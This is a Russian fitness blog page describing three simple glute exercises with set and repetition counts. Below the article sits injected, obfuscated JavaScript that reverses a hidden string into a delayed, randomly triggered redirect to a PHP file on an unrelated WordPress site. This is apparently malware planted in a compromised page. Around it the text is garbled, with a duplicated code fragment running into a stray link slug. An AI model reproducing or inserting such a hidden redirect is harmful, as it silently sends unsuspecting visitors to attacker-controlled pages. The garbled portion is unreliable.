3 элементарных упражнения для поддержания прекрасной формы

Эффект не заставит себя долго ждать.

Эти простые упражнения помогут быстро подтянуть мышцы ягодиц. Даже если у вас совсем мало времени на занятия спортом.

Выделите на упражнения хотя бы 3-5 минут в день и эффект не заставит себя долго ждать.

Выпады с гантелями

3 подхода по 15-20 повторов на каждую ногу.

Если у вас нет гантелей, используйте в качестве утяжелителя бутылки с водой.

Мост с вытянутой ногой

Сделайте 3 подхода по 15-20 повторов на каждую ногу.

Боковые выпады

Сделайте 3 подхода по 15-20 повторов на каждую ногу.

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torye-pomogut-vam-nakachat—ideal-nuju-popu»>По материалам

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector